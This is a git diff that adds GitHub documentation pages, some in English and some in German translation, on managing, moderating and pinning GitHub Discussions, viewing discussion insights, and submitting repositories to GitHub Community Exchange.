+As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating{% ifversion fpt or ghec %} a code of conduct or{% endif %} contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see{% ifversion fpt or ghec %} "[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)," and{% endif %} "[Setting guidelines for repository contributors](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)."
+
+When a discussion yields an idea or bug that is ready to be worked on, you can create a new issue from a discussion. For more information, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-an-issue#creating-an-issue-from-a-discussion)."
+
+You can pin a discussion to the top of the list of discussions for the repository or organization. {% ifversion discussions-category-specific-pins %}You can also pin a discussion to a specific category.{% endif %} For more information, see "[Pinning a discussion](/discussions/managing-discussions-for-your-community/managing-discussions#pinning-a-discussion)."
+
+For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/communities/moderating-comments-and-conversations)."
+
+{% data reusables.discussions.you-can-label-discussions %}
+
+## Prerequisites
+
+To manage discussions in a repository, {% data variables.product.prodname_discussions %} must be enabled for the repository. For more information, see "[Enabling or disabling {% data variables.product.prodname_discussions %} for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)."
+
+To manage discussions in an organization, {% data variables.product.prodname_discussions %} must be enabled for the organization. For more information, see "[Enabling or disabling {% data variables.product.prodname_discussions %} for an organization](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)."
+
+## Changing the category for a discussion
+
+You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions)."
+
+You can also move a discussion to a different category. It's not possible to move a discussion to or from the polls category.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.discussions.discussions-tab %}
+{% data reusables.discussions.click-discussion-in-list %}
+1. In the right sidebar, to the right of "Category", click {% octicon "gear" aria-label="The gear icon" %}.
+
+   ![Screenshot of the "Category" with gear icon](/assets/images/help/discussions/category-in-sidebar.png)
+
+1. Click a category.
+
+   ![Screenshot of the "Change category" drop-down menu](/assets/images/help/discussions/change-category-drop-down.png)
+
+## Pinning a discussion
+
+{% ifversion discussions-category-specific-pins %}
+You can pin a discussion above the list of discussions for the repository or organization. You can also pin a discussion to a specific category. The globally pinned discussions will be shown in addition to the discussions pinned to a specific category.
+
+This is what it looks like when you have a globally pinned discussion and a discussion pinned to the Ideas category.
+
+![Screenshot of a globally pinned discussion and a discussion pinned to the Ideas category](/assets/images/help/discussions/overview-pinned-discussions.png)
+
+### Pinning a discussion globally
+{% endif %}
+
+You can pin up to four important discussions above the list of discussions for the repository or organization. 
+
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.discussions.discussions-tab %}
+{% data reusables.discussions.click-discussion-in-list %}
+1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**.
+{% ifversion discussions-category-specific-pins %}
+
+   ![Screenshot of the "Pin discussion" option in right sidebar for discussion](/assets/images/help/discussions/click-pin-discussion-with-category-pins.png){% else %}
+
+   ![Screenshot of the "Pin discussion" option in right sidebar for discussion](/assets/images/help/discussions/click-pin-discussion.png){% endif %}
+
+1. Optionally, customize the look of the pinned discussion.
+
+   ![Screenshot of customization options for a pinned discussion](/assets/images/help/discussions/customize-pinned-discussion.png)
+
+1. Click **Pin discussion**.
+
+   ![Screenshot of the "Pin discussion" button under customization options for pinned discussion](/assets/images/help/discussions/click-pin-discussion-button.png)
+
+{% ifversion discussions-category-specific-pins %}
+### Pinning a discussion to a category
+
+You can pin up to four important discussions above the list of discussions in a specific category. 
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.discussions.discussions-tab %}
+{% data reusables.discussions.click-discussion-in-list %}
+1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion to CATEGORY**.
+   
+   ![Screenshot of the "Pin discussion to CATEGORY" option in right sidebar for discussion](/assets/images/help/discussions/pin-discussion-to-category.png)
+
+2. To confirm, click **Pin to CATEGORY**.
+
+   ![Screenshot of the "Pin discussion to CATEGORY" modal](/assets/images/help/discussions/pin-discussion-to-category-modal.png)
+
+{% endif %}
+
+## Editing a pinned discussion
+
+Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions)."
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.discussions.discussions-tab %}
+{% data reusables.discussions.click-discussion-in-list %}
+1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.
+  {% ifversion discussions-category-specific-pins %}
+
+   ![Screenshot of the "Edit pinned discussion" option in right sidebar for discussion](/assets/images/help/discussions/edit-pinned-discussion-with-category-pins.png) {% else %}
+
+
+   ![Screenshot of the "Edit pinned discussion" option in right sidebar for discussion](/assets/images/help/discussions/click-edit-pinned-discussion.png){% endif %}
+
+1. Customize the look of the pinned discussion.
+
+  ![Screenshot of customization options for a pinned discussion](/assets/images/help/discussions/customize-pinned-discussion.png)
+
+1. Click **Pin discussion**.
+
+  ![Screenshot of the "Pin discussion" button under customization options for pinned discussion](/assets/images/help/discussions/click-pin-discussion-button.png)
+
+## Unpinning a discussion
+
+{% ifversion discussions-category-specific-pins %}
+
+You can unpin a discussion from the list of discussions for the repository or organization, or from the list of discussions in a specific category.
+
+### Unpinning a globally pinned discussion
+
+You can unpin a globally pinned discussion. This will not delete the discussion, but the discussion will no longer be displayed above the list of discussions.
+{% endif %}
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.discussions.discussions-tab %}
+{% data reusables.discussions.click-discussion-in-list %}
+1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**.
+
+  ![Screenshot of the "Unpin discussion" option in right sidebar for discussion](/assets/images/help/discussions/click-unpin-discussion.png)
+
+1. Read the warning, then click **Unpin discussion**.
+
+  ![Screenshot of the "Unpin discussion" button beneath warning in modal](/assets/images/help/discussions/click-unpin-discussion-button.png)
+
+{% ifversion discussions-category-specific-pins %}
+### Unpinning a discussion from a category
+
+You can unpin a discussion pinned to a specific category. This will not delete the discussion, but the discussion will no longer be displayed at the top of the category.
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.discussions.discussions-tab %}
+{% data reusables.discussions.click-discussion-in-list %}
+1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion from this category**.
+
+   ![Screenshot of the "Unpin discussion from this category" option in right sidebar for discussion](/assets/images/help/discussions/unpin-discussion-from-category.png)
+
+1. Read the warning, then click **Unpin from this category**.
+
+   ![Screenshot of the "Unpin from this category" button in the "Unpin this discussion from this category" modal](/assets/images/help/discussions/unpin-discussion-from-category-modal.png)
+
+{% endif %}
+
+## Transferring a discussion
+
+To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. If you want to transfer a discussion to an organization, you must have permissions to create discussions in the source repository for the organization's discussions. You can only transfer discussions between repositories owned by the same user or organization account. You can't transfer a discussion from a private{% ifversion ghec or ghes %} or internal{% endif %} repository to a public repository.
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.discussions.discussions-tab %}
+{% data reusables.discussions.click-discussion-in-list %}
+1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} {% ifversion discussions-category-specific-pins %}**Transfer this discussion**{% else %}**Transfer discussion**{% endif %}.
+{% ifversion discussions-category-specific-pins %}
+
+   ![Screenshot of the "Transfer discussion" option in right sidebar for discussion](/assets/images/help/discussions/transfer-discussion-with-category-pin.png) {% else %}
+
+  
+   ![Screenshot of the "Transfer discussion" option in right sidebar for discussion](/assets/images/help/discussions/click-transfer-discussion.png){% endif %}
+
+1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to. If you want to transfer a discussion to an organization, choose the source repository for the organization's discussions.
+
+   ![Screenshot of the "Choose a repository" drop-down, "Find a repository" search field, and repository in list](/assets/images/help/discussions/use-choose-a-repository-drop-down.png)
+
+1. Click **Transfer discussion**.
+
+   ![Screenshot of the "Transfer discussion" button](/assets/images/help/discussions/click-transfer-discussion-button.png)
+
+## Deleting a discussion
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.discussions.discussions-tab %}
+{% data reusables.discussions.click-discussion-in-list %}
+1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**.
+{% ifversion discussions-category-specific-pins %}
+
+   ![Screenshot of the "Delete discussion" option in right sidebar for discussion](/assets/images/help/discussions/delete-discussion-with-category-pins.png){% else %}
+
+
+   ![Screenshot of the "Delete discussion" option in right sidebar for discussion](/assets/images/help/discussions/click-delete-discussion.png){% endif %}
+
+1. Read the warning, then click **Delete this discussion**.
+
+   ![Screenshot of the "Delete this discussion" button beneath warning in modal](/assets/images/help/discussions/click-delete-this-discussion-button.png)
+
+## Converting issues based on labels
+
+You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure.
+
+1. On {% data variables.location.product_location %}, navigate to the main page of the repository or, for organization discussions, the source repository.
+{% data reusables.repositories.sidebar-issues %}
+{% data reusables.project-management.labels %}
+1. Next to the label you want to convert to issues, click **Convert issues**.
+1. Select the **Choose a category** drop-down menu, and click a category for your discussion.
+1. Click **I understand, convert this issue to a discussion**.
diff --git a/translations/de-DE/content/discussions/managing-discussions-for-your-community/moderating-discussions.md b/translations/de-DE/content/discussions/managing-discussions-for-your-community/moderating-discussions.md
new file mode 100644
index 0000000000..9f154541c3
--- /dev/null
+++ b/translations/de-DE/content/discussions/managing-discussions-for-your-community/moderating-discussions.md
@@ -0,0 +1,47 @@
+---
+title: Moderating discussions
+intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, converting issues to discussions, and editing or deleting comments, discussions, and categories that don''t align with your{% ifversion fpt or ghec %} community''s code of conduct{% elsif ghes > 3.5 %} organization''s contribution guidelines{% endif %}.'
+permissions: People with triage access to a repository can moderate discussions in the repository. People with triage access to the source repository for organization discussions can moderate discussions in the organization.
+versions:
+  feature: discussions
+---
+
+
+## About moderating discussions
+
+{% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate that repository's discussions by marking comments as answers, locking discussions that are no longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. Similarly, if you have triage permission for the source repository for organization discussions, you can moderate discussions for that organization.
+
+## Marking a comment as an answer
+
+{% data reusables.discussions.marking-a-comment-as-an-answer %}
+
+## Locking discussions
+
+It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository, or source repository for organization discussions, will still be able to comment on the discussion.
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.discussions.discussions-tab %}
+1. In the list of discussions, click the discussion you want to lock.
+  ![Lock discussion](/assets/images/help/discussions/unanswered-discussion.png)
+1. In the right margin of a discussion, click **Lock conversation**.
+1. Read the information about locking conversations and click **Lock conversation on this discussion**.
+1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**.
+
+## Converting an issue to a discussion
+
+When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository, or source repository for organization discussions, can bulk convert issues based on labels. For more information, see "[Managing discussions](/discussions/managing-discussions-for-your-community/managing-discussions)."
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.repositories.sidebar-issues %}
+1. In the list of issues, click the issue you'd like to convert.
+1. In the right margin of an issue, click **Convert to discussion**.
+1. Select the **Choose a category** drop-down menu, and click a category for your discussion.
+1. Click **I understand, convert this issue to a discussion**.
+
+{% ifversion discussions-hide-comments-on-block %}
+## Blocking a user from your organization
+
+Organization owners and moderators can block a user from the organization if their comments don't align with the community's code of conduct. When you block a user, they will no longer be able to comment on discussions. You can also hide all of the comments a user has made in the organization. For more information, see "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)."
+
+{% data reusables.organizations.blocking-a-user %} 
+{% endif %}
diff --git a/translations/de-DE/content/discussions/managing-discussions-for-your-community/viewing-insights-for-your-discussions.md b/translations/de-DE/content/discussions/managing-discussions-for-your-community/viewing-insights-for-your-discussions.md
new file mode 100644
index 0000000000..7adec2f228
--- /dev/null
+++ b/translations/de-DE/content/discussions/managing-discussions-for-your-community/viewing-insights-for-your-discussions.md
@@ -0,0 +1,40 @@
+---
+title: Anzeigen von Erkenntnissen aus Diskussionen
+intro: 'Erkenntnisse aus Diskussionen liefern Daten über die Aktivität, Aufrufe und Mitwirkenden deiner Diskussionen.'
+permissions: Repository administrators and people with maintain access to a repository can view the insights dashboard for discussions in that repository. Repository administrators and people with maintain access to the source repository for organization discussions can view the insights dashboard for discussions in that organization.
+versions:
+  feature: discussions
+topics:
+  - Discussions
+shortTitle: View discussions insights
+ms.openlocfilehash: 09fafe454f53a1b2a39887bbb085f753f978b6eb
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '147410139'
+---
+## Informationen zum Dashboard mit Erkenntnissen aus Diskussionen
+
+Du kannst Erkenntnisse für Diskussionen verwenden, um Informationen zur Beitragsaktivität, zu Seitenansichten und zum Wachstum deiner Diskussionscommunity zu erhalten.
+- **Beitragsaktivität** zeigt die Gesamtanzahl von Beiträgen zu Diskussionen, Issues und Pull Requests.
+- **Seitenansichten zu Diskussionen** zeigt die Gesamtanzahl von Seitenansichten für Diskussionen an, aufgeteilt nach angemeldeten und anonymen Benutzern.
+- **Täglich Mitwirkende an Diskussionen** zeigt die tägliche Anzahl eindeutiger Benutzer, die in dem ausgewählten Zeitraum reagiert, für etwas abgestimmt, eine Antwort markiert, kommentiert oder gepostet haben.
+- **Neue Mitwirkende an Diskussionen** zeigt die tägliche Anzahl eindeutiger neuer Benutzer, die in dem ausgewählten Zeitraum reagiert, für etwas abgestimmt, eine Antwort markiert, kommentiert oder gepostet haben.
+
+![Screenshot des Diskussionsdashboards](/assets/images/help/discussions/discussions-dashboard.png)
+
+{% tip %}
+
+**Tipp**: Um die genauen Daten für einen Zeitraum anzuzeigen, halte den Mauszeiger auf diesen Zeitraum im Diagramm.
+
+{% endtip %}
+
+## Anzeigen von Erkenntnissen aus Diskussionen
+
+{% data reusables.repositories.navigate-to-repo %} Um Organisationsdiskussionen anzuzeigen, navigiere zur Hauptseite des Quellrepositorys.
+{% data reusables.repositories.accessing-repository-graphs %}
+3. Klicke in der linken Seitenleiste auf **Community**.
+![Screenshot der Registerkarte „Community“ in der linken Seitenleiste](/assets/images/help/graphs/graphs-sidebar-community-tab.png)
+1. Wähle optional in der oberen rechten Ecke der Seite das Dropdownmenü **Zeitraum** aus und klicke auf den Zeitraum, für den du Daten anzeigen möchtest: **30 Tage**, **3 Monate** oder **1 Jahr**.
+![Screenshot der Datumsbereichsauswahl für Erkenntnisse aus Diskussionen](/assets/images/help/discussions/discussions-dashboard-date-selctor.png)
diff --git a/translations/de-DE/content/discussions/quickstart.md b/translations/de-DE/content/discussions/quickstart.md
new file mode 100644
index 0000000000..cba5686113
--- /dev/null
+++ b/translations/de-DE/content/discussions/quickstart.md
@@ -0,0 +1,80 @@
+---
+title: Quickstart for GitHub Discussions
+intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository or organization and start conversations with your community.'
+allowTitleToDifferFromFilename: true
+versions:
+  feature: discussions
+shortTitle: Quickstart
+---
+
+
+## Introduction
+
+{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source or internal project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike {% data variables.product.prodname_github_issues %}. Discussions enable fluid, open conversation in a public forum.
+
+Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information.
+
+## Enabling {% data variables.product.prodname_discussions %} on your repository
+
+Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public{% ifversion ghes > 3.5 %}, internal{% endif %} and private repositories. The visibility of a discussion is inherited from the repository the discussion is created in.
+
+When you first enable {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post.
+
+{% data reusables.repositories.navigate-to-repo %}
+1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %}
+**Settings**.
+![Public settings button](/assets/images/help/discussions/public-repo-settings.png)
+1. Under "Features", click **Set up discussions**.
+  ![Set up a discussion button under "Features" for enabling or disabling GitHub Discussions for a repository](/assets/images/help/discussions/setup-discussions-button.png)
+1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community.
+1. Click **Start discussion**.
+  !["Start discussion" button](/assets/images/help/discussions/new-discussion-start-discussion-button.png)
+
+## Enabling {% data variables.product.prodname_discussions %} on your organization
+
+Organization owners can enable {% data variables.product.prodname_discussions %} for their organization.
+
+{% data reusables.discussions.about-organization-discussions %}
+
+{% data reusables.discussions.enabling-or-disabling-github-discussions-for-your-organization %}
+
+## Welcoming contributions to your discussions
+
+You can welcome your community and introduce a new way to communicate in a repository or organization by creating a welcome post and pinning the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions](/discussions/managing-discussions-for-your-community/managing-discussions#pinning-a-discussion)."
+
+
+## Setting up community guidelines for contributors
+
+For repository discussions, you can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see{% ifversion fpt or ghec %} "[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and{% endif %} "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+
+For organization discussions, you share information about how to engage with your organization by creating an organization profile README. For more information, see "[Customizing your organization's profile](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)."
+
+## Creating a new discussion
+
+Any authenticated user who can view the repository can create a discussion in that repository. Similarly, since organization discussions are based on a source repository, any authenticated user who can view the source repository can create a discussion in that organization.
+
+{% data reusables.discussions.starting-a-discussion %}
+
+## Creating a new poll
+
+Any authenticated user who can view a repository can create a poll. Similarly, since organization discussions are based on a source repository, any authenticated user who can view the source repository can create a poll in that organization.
+
+{% data reusables.discussions.starting-a-poll %}
+
+## Organizing discussions
+
+Repository owners and people with write access to the repository can create new categories to keep discussions organized. Similarly, since organization discussions are based on a source repository, repository owners and people with write access to the source repository can create new categories for organization discussions.
+
+Collaborators participating in and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions)."
+
+{% data reusables.discussions.you-can-label-discussions %}
+
+## Promoting healthy conversations
+
+People with write permissions for the repository, or for the source repository for organization discussions, can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions](/discussions/managing-discussions-for-your-community/managing-discussions)."
+
+People with triage permissions for the repository, or for the source repository for organization discussions, can help moderate a project's discussions by marking comments as answers, locking discussions that are no longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)."
+
+## Next steps
+
+Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)."
diff --git a/translations/de-DE/content/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange.md b/translations/de-DE/content/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange.md
new file mode 100644
index 0000000000..b636baea1a
--- /dev/null
+++ b/translations/de-DE/content/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange.md
@@ -0,0 +1,50 @@
+---
+title: Erste Schritte mit GitHub Community Exchange
+shortTitle: Get started
+intro: 'Hier erfährst du, wie du auf {% data variables.product.prodname_community_exchange %} zugreifst und dein Repository einreichst.'
+versions:
+  fpt: '*'
+ms.openlocfilehash: b9c866ef33c321b70b87d8bcd3682d0c02737bfe
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109505'
+---
+## Einführung
+
+{% data reusables.education.about-github-community-exchange-intro %} {% data variables.product.prodname_community_exchange %} kann dir helfen, deinen ersten Open-Source-Beitrag zu leisten oder dein eigenes Open-Source-Projekt auszubauen.
+
+Weitere Informationen dazu, wie {% data variables.product.prodname_community_exchange %} Schulkindern und Studierenden helfen kann, findest du unter [Informationen zu {% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange).
+
+## Zugreifen auf {% data variables.product.prodname_community_exchange %}
+
+{% data reusables.education.access-github-community-exchange %}
+
+## Suchen nach interessanten Repositorys
+
+Du kannst Repositorys durchsuchen, die über die Katalogseite bei {% data variables.product.prodname_community_exchange %} eingereicht wurden.
+
+Vor einer Suche solltest du dir jedoch zunächst im Klaren sein, ob du etwas lernen oder mit anderen zusammenarbeiten möchtest, oder ob es bestimmte Themen oder Sprachen gibt, die einen guten Ausgangspunkt darstellen könnten.
+
+Die im {% data variables.product.prodname_community_exchange %}-Katalog verfügbaren Repositorys kannst du nach Zweck, Themen oder Sprachen filtern und Repositorys nach Namen und Beschreibung suchen. Du kannst die Liste der Repositorys im Katalog nach Übermittlungsdatum oder nach der Anzahl der Sterne, Forks oder Issues eines Repositorys sortieren.
+
+![Screenshot des Suchfelds und der Dropdownfilter von Community Exchange](/assets/images/help/education/community-exchange-search-and-filter.png)
+
+## Markieren von Repositorys mit Sternen
+
+Du kannst im {% data variables.product.prodname_community_exchange %}-Katalog aufgeführte Repositorys mit einem Stern markieren. Mit einer Sternmarkierung kannst du Repositorys später leichter wiederfinden. Mit der Auszeichnung durch einen Stern zeigst du dem Repository-Betreuer auch deine Wertschätzung für seine Arbeit.
+
+Repositorylistings im {% data variables.product.prodname_community_exchange %}-Katalog können nach ihrer Anzahl an Sternen sortiert werden.
+
+So markierst du ein Repository mit einem Stern: Rufe deine {% data variables.product.prodname_community_exchange %}-Homepage auf, suche das Repository, das du mit einem Stern markieren möchtest, und klicke rechts neben dem Namen auf das {% octicon "star" aria-label="The star icon" %} **Sternsymbol**.
+
+## Melden von Missbräuchen
+
+Die {% data variables.product.prodname_community_exchange %}-Community moderiert Repositoryeinreichungen. Du kannst missbräuchliche Repositorys, Spam oder zerstörerische Inhalte jederzeit melden.
+
+So meldest du ein missbräuchliches Repository: Rufe deine {% data variables.product.prodname_community_exchange %}-Homepage auf, suche das Repository, das du melden möchtest, klicke neben dem Namen auf das {% octicon "kebab-horizontal" aria-label="The edit icon" %} Dropdownmenü, und klicke dann auf {% octicon "report" aria-label="The report symbol" %} **Missbrauch melden**.
+
+## Weitere Informationsquellen
+
+- [Informationen zu {% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange)
diff --git a/translations/de-DE/content/education/contribute-with-github-community-exchange/index.md b/translations/de-DE/content/education/contribute-with-github-community-exchange/index.md
new file mode 100644
index 0000000000..f02655122a
--- /dev/null
+++ b/translations/de-DE/content/education/contribute-with-github-community-exchange/index.md
@@ -0,0 +1,18 @@
+---
+title: Mithilfe von GitHub Community Exchange mitwirken
+shortTitle: '{% data variables.product.prodname_community_exchange %}'
+intro: 'Mit {% data variables.product.prodname_community_exchange %} kannst du {% data variables.product.product_name %} nutzen, um zu Open-Source-Lösungen beizutragen und dein Portfolio aufzubauen.'
+versions:
+  fpt: '*'
+children:
+  - /getting-started-with-github-community-exchange
+  - /submitting-your-repository-to-github-community-exchange
+  - /managing-your-submissions-to-github-community-exchange
+ms.openlocfilehash: fe002b4cff8bbecaac9ea4611ff69ab366df240f
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109502'
+---
+
diff --git a/translations/de-DE/content/education/contribute-with-github-community-exchange/managing-your-submissions-to-github-community-exchange.md b/translations/de-DE/content/education/contribute-with-github-community-exchange/managing-your-submissions-to-github-community-exchange.md
new file mode 100644
index 0000000000..4f78db1470
--- /dev/null
+++ b/translations/de-DE/content/education/contribute-with-github-community-exchange/managing-your-submissions-to-github-community-exchange.md
@@ -0,0 +1,29 @@
+---
+title: Verwalten deiner Übermittlungen an GitHub Community Exchange
+shortTitle: Manage your submissions
+intro: 'Du kannst Zweck, Themen und Angebote, die jedem deiner Repositorys zugewiesen sind, im {% data variables.product.prodname_community_exchange %}-Katalog verwalten oder deine Übermittlungen an Repositorys löschen.'
+versions:
+  fpt: '*'
+ms.openlocfilehash: a7da6f3bede47700658fe81a1f0ec3e4e33ef316
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109478'
+---
+## Informationen zu deinen Übermittlungen
+
+Während des {% data variables.product.prodname_community_exchange %}-Übermittlungsprozesses wählst du Zweck, Themen und Angebote für dein Repository aus. Sobald ein Repository an {% data variables.product.prodname_community_exchange %} übermittelt wurde, wird es mit diesen Angaben veröffentlicht. Weitere Informationen findest du unter [Übermitteln deines Repositorys an GitHub Community Exchange](/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange).
+
+Nach der Übermittlung kannst du die Themen und Angebote, die deinem Repository zugeordnet sind, weiterhin bearbeiten. Du kannst den Zweck deines Repositorys auch aktualisieren, indem du die entsprechenden Themen änderst. Weitere Informationen findest du unter [Klassifizieren deines Repositorys mit Themen](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics).
+
+Die deinem Repository zugeordnete Sprache ist die primäre Sprache und wird automatisch von {% data variables.product.prodname_dotcom %} bestimmt. Weitere Informationen findest du unter [Informationen zu Repositorysprachen](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages).
+
+Die {% data variables.product.prodname_community_exchange %}-Community moderiert alle Übermittlungen an Repositorys.
+
+## Verwalten deiner Übermittlungen
+
+1. Navigiere auf deinem {% data variables.product.prodname_global_campus %}-Dashboard zur Startseite von {% data variables.product.prodname_community_exchange %}.
+1. Klicke über der Liste der Repositorys auf die Registerkarte **Übermittlungen**. ![Screenshot der Registerkarte „Übermittlungen“](/assets/images/help/education/community-exchange-submissions-tab.png)
+1. Du kannst dein übermitteltes Repository optional bearbeiten. Klicke rechts neben dem Repository, das du bearbeiten möchtest, auf {% octicon "pencil" aria-label="The edit icon" %}, um direkt zur Startseite deines Repositorys zu gelangen. Dort kannst du Zweck, Themen und Angebote aktualisieren, die deinem Repositorys zugewiesen sind.
+1. Du kannst optional ein übermitteltes Repository aus dem Katalog löschen. Klicke rechts neben der Repositoryübermittlung, die du entfernen möchtest, auf {% octicon "trash" aria-label="The trash icon" %}.
diff --git a/translations/de-DE/content/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange.md b/translations/de-DE/content/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange.md
new file mode 100644
index 0000000000..d0a212521f
--- /dev/null
+++ b/translations/de-DE/content/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange.md
@@ -0,0 +1,60 @@
+---
+title: Übermitteln deines Repositorys an GitHub Community Exchange
+shortTitle: Submit your repository
+intro: 'Du kannst dein Repository an {% data variables.product.prodname_community_exchange %} übermitteln, damit andere es einsehen oder daran mitwirken können.'
+versions:
+  fpt: '*'
+ms.openlocfilehash: 404a1a20f3474c4fa48d6fae9e7f6cc5ddf0e647
+ms.sourcegitcommit: 3268914369fb29540e4d88ee5e56bc7a41f2a60e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/26/2022
+ms.locfileid: '148111272'
+---
+## Informationen zu Repositoryübermittlungen
+
+Nur öffentliche Repositorys im Besitz persönlicher Konten können an {% data variables.product.prodname_community_exchange %} übermittelt werden.
+
+Es gibt drei Typen von Repositoryübermittlungen:
+
+- **Learn.** Ein Repository zum Freigeben von Schrittanleitungen zum Erstellen eines Projekts.
+- **Collaborate.** Ein Repository, das Projektmitarbeiter für ein Projekt sucht.
+- **Learn und Collaborate.** Ein Repository, das eine Kombination aus `Learn` und `Collaborate` ist.
+
+Überlege dir, was der Hauptzweck deines Repositorys ist, wenn du die Art der Übermittlung für dein Repository wählst.
+
+Um dein Projekt bekannt zu machen und es für andere Lernende besser auffindbar zu machen, solltest du deinem Repository ein oder mehrere Themen und {% data variables.product.prodname_student_pack %}-Angebote zuweisen. Weitere Informationen findest du unter [Klassifizieren deines Repositorys mit Themen](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics).
+
